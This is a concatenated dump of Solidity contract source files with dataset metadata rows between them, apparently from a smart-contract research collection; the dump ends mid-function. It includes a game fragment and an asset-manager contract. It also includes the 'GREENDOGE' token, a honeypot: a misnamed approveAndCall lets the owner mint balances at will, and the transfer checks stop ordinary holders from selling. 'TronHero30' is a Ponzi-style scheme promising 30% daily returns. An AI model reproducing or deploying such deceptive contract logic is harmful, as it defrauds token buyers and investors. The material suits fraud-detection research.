function withdrawSellDemand(uint256 index) public
{
require(now <= deadline);
require(index < numberOfOrders);
require(players[msg.sender].round == round);
SellOrderData storage o = sellOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
PlyerData storage p = players[o.owner];
p.crystals = SafeMath.add(p.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getSellDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
SellOrderData storage o = sellOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getHighestUnitPriceIdxFromSell() public returns(uint256 highestIdx)
{
uint256 highestPrice = 0;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
SellOrderData storage o = sellOrderData[idx];
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice > highestPrice) {
highestPrice = o.unitPrice;
highestIdx = idx;
}
}
}
function devFee(uint256 amount) public view returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return this.balance;
}
function updateHashrate(address addr) private
{
PlyerData storage p = players[addr];
uint256 hashrate = 0;
for (uint idx = 0; idx < numberOfMiners; idx++) {
MinerData storage m = minerData[idx];
hashrate = SafeMath.add(hashrate, SafeMath.mul(p.minerCount[idx], m.baseProduct));
}
p.hashrate = hashrate;
if(hashrate > RANK_LIST_LIMIT){
updateRankList(addr);
}
}
function updateCrytal(address addr) private
{
require(now > players[addr].lastUpdateTime);
if (players[addr].lastUpdateTime != 0) {
PlyerData storage p = players[addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 revenue = getHashratePerDay(addr);
p.lastUpdateTime = now;
if (revenue > 0) {
revenue = SafeMath.mul(revenue, secondsPassed);
p.crystals = SafeMath.add(p.crystals, revenue);
}
}
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
PlyerData storage insert = players[addr];
PlyerData storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
PlyerData storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 163,099 | 13,216 |
add661db1fc7b014c1321df8653ca1e3916de9e88d0bd94a285e3b72dd89fb18
| 15,056 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x08ac59a726acc3d8db54b942d05d851a25e3cf60.sol
| 3,838 | 14,661 |
pragma solidity ^0.4.24;
// File: contracts/interfaces/ERC20.sol
interface ERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/interfaces/DBInterface.sol
// Database interface
interface DBInterface {
function setContractManager(address _contractManager)
external;
// --------------------Set Functions------------------------
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
// -------------- Deletion Functions ------------------
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
// ----------------Variable Getters---------------------
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
// File: contracts/database/Events.sol
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
//Generalized events
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
// --------------------------------------------------------------------------------------
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
// File: contracts/math/SafeMath.sol
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math operations with safety checks that throw on error
library SafeMath {
// @notice Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
// @notice Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// @notice Returns fractional amount
function getFractionalAmount(uint256 _amount, uint256 _percentage)
internal
pure
returns (uint256) {
return div(mul(_amount, _percentage), 100);
}
}
// File: contracts/roles/AssetManagerFunds.sol
interface DToken {
function withdraw() external returns (bool);
function getAmountOwed(address _user) external view returns (uint);
function balanceOf(address _tokenHolder) external view returns (uint);
function transfer(address _to, uint _amount) external returns (bool success);
function getERC20() external view returns (address);
}
// @author Kyle Dewhurst & Peter Phillips, MyBit Foundation
contract AssetManagerFunds {
using SafeMath for uint256;
DBInterface public database;
Events public events;
uint256 private transactionNumber;
// @notice constructor: initializes database
constructor(address _database, address _events)
public {
database = DBInterface(_database);
events = Events(_events);
}
// @notice asset manager can withdraw his dividend fee from assets here
// @param : address _assetAddress = the address of this asset on the platform
function withdraw(address _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress != address(0));
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))));
DToken token = DToken(_assetAddress);
uint amountOwed;
uint balanceBefore;
if (token.getERC20() == address(0)){
balanceBefore = address(this).balance;
amountOwed = token.getAmountOwed(address(this));
require(amountOwed > 0);
uint balanceAfter = balanceBefore.add(amountOwed);
require(token.withdraw());
require(address(this).balance == balanceAfter);
msg.sender.transfer(amountOwed);
}
else {
amountOwed = token.getAmountOwed(address(this));
require(amountOwed > 0);
DToken fundingToken = DToken(token.getERC20());
balanceBefore = fundingToken.balanceOf(address(this));
require(token.withdraw());
require(fundingToken.balanceOf(address(this)).sub(amountOwed) == balanceBefore);
fundingToken.transfer(msg.sender, amountOwed);
}
return true;
}
function retrieveAssetManagerTokens(address[] _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress.length <= 42);
uint[] memory payoutAmounts = new uint[](_assetAddress.length);
address[] memory tokenAddresses = new address[](_assetAddress.length);
uint8 numEntries;
for(uint8 i = 0; i < _assetAddress.length; i++){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i]))));
DToken token = DToken(_assetAddress[i]);
require(address(token) != address(0));
uint tokensOwed = token.getAmountOwed(address(this));
if(tokensOwed > 0){
DToken fundingToken = DToken(token.getERC20());
uint balanceBefore = fundingToken.balanceOf(address(this));
uint8 tokenIndex = containsAddress(tokenAddresses, address(token));
if (tokenIndex < _assetAddress.length) { payoutAmounts[tokenIndex] = payoutAmounts[tokenIndex].add(tokensOwed); }
else {
tokenAddresses[numEntries] = address(fundingToken);
payoutAmounts[numEntries] = tokensOwed;
numEntries++;
}
require(token.withdraw());
require(fundingToken.balanceOf(address(this)).sub(tokensOwed) == balanceBefore);
}
}
for(i = 0; i < numEntries; i++){
require(ERC20(tokenAddresses[i]).transfer(msg.sender, payoutAmounts[i]));
}
return true;
}
function retrieveAssetManagerETH(address[] _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress.length <= 93);
uint weiOwed;
for(uint8 i = 0; i < _assetAddress.length; i++){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i]))));
DToken token = DToken(_assetAddress[i]);
uint balanceBefore = address(this).balance;
uint amountOwed = token.getAmountOwed(address(this));
if(amountOwed > 0){
uint balanceAfter = balanceBefore.add(amountOwed);
require(token.withdraw());
require(address(this).balance == balanceAfter);
weiOwed = weiOwed.add(amountOwed);
}
}
msg.sender.transfer(weiOwed);
return true;
}
function viewBalance(address _assetAddress, address _assetManager)
external
view
returns (uint){
require(_assetAddress != address(0), 'Empty address passed');
require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset');
DToken token = DToken(_assetAddress);
uint balance = token.balanceOf(address(this));
return balance;
}
function viewAmountOwed(address _assetAddress, address _assetManager)
external
view
returns (uint){
require(_assetAddress != address(0), 'Empty address passed');
require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset');
DToken token = DToken(_assetAddress);
uint amountOwed = token.getAmountOwed(address(this));
return amountOwed;
}
// @notice returns the index if the address is in the list, otherwise returns list length + 1
function containsAddress(address[] _addressList, address _addr)
internal
pure
returns (uint8) {
for (uint8 i = 0; i < _addressList.length; i++){
if (_addressList[i] == _addr) return i;
}
return uint8(_addressList.length + 1);
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('AssetManagerFunds destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
// @notice prevents calls from re-entering contract
modifier nonReentrant() {
transactionNumber += 1;
uint256 localCounter = transactionNumber;
_;
require(localCounter == transactionNumber);
}
// @notice reverts if caller is not the owner
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) == true);
_;
}
function ()
payable
public {
emit EtherReceived(msg.sender, msg.value);
}
event EtherReceived(address sender, uint amount);
}
| 339,740 | 13,217 |
606e991c567fc2e9df02606e705f1fede2058c234917b58e395df80988894981
| 14,279 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c4/c473cdb440667fb56be0bc31d7db4841798805c4_GREENDOGE.sol
| 2,606 | 10,341 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GREENDOGE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 37,409 | 13,218 |
6612ccbda96e81a8e6392bb402c0eb36f90f9010227d4801e4a0a18f55ca33af
| 18,868 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYUiACXhtNd3xvKsnYGHGxcSMZMcnk7mAX_TronHero30.sol
| 4,973 | 18,034 |
//SourceUnit: TronHeroNew.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TronHero30 is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 50; // 5% Team, Operation & Development
uint256 public constant MARKETING_RATE = 50; // 5% Marketing
uint256 public constant REFERENCE_RATE = 180; // 18% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 30; // 3% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 300; // 30% Daily Roi
uint256 public constant PLAN_TERM = 7 days; // 7 Days
uint256 public constant CONTRACT_LIMIT = 800; // 20% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
bytes32 data_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
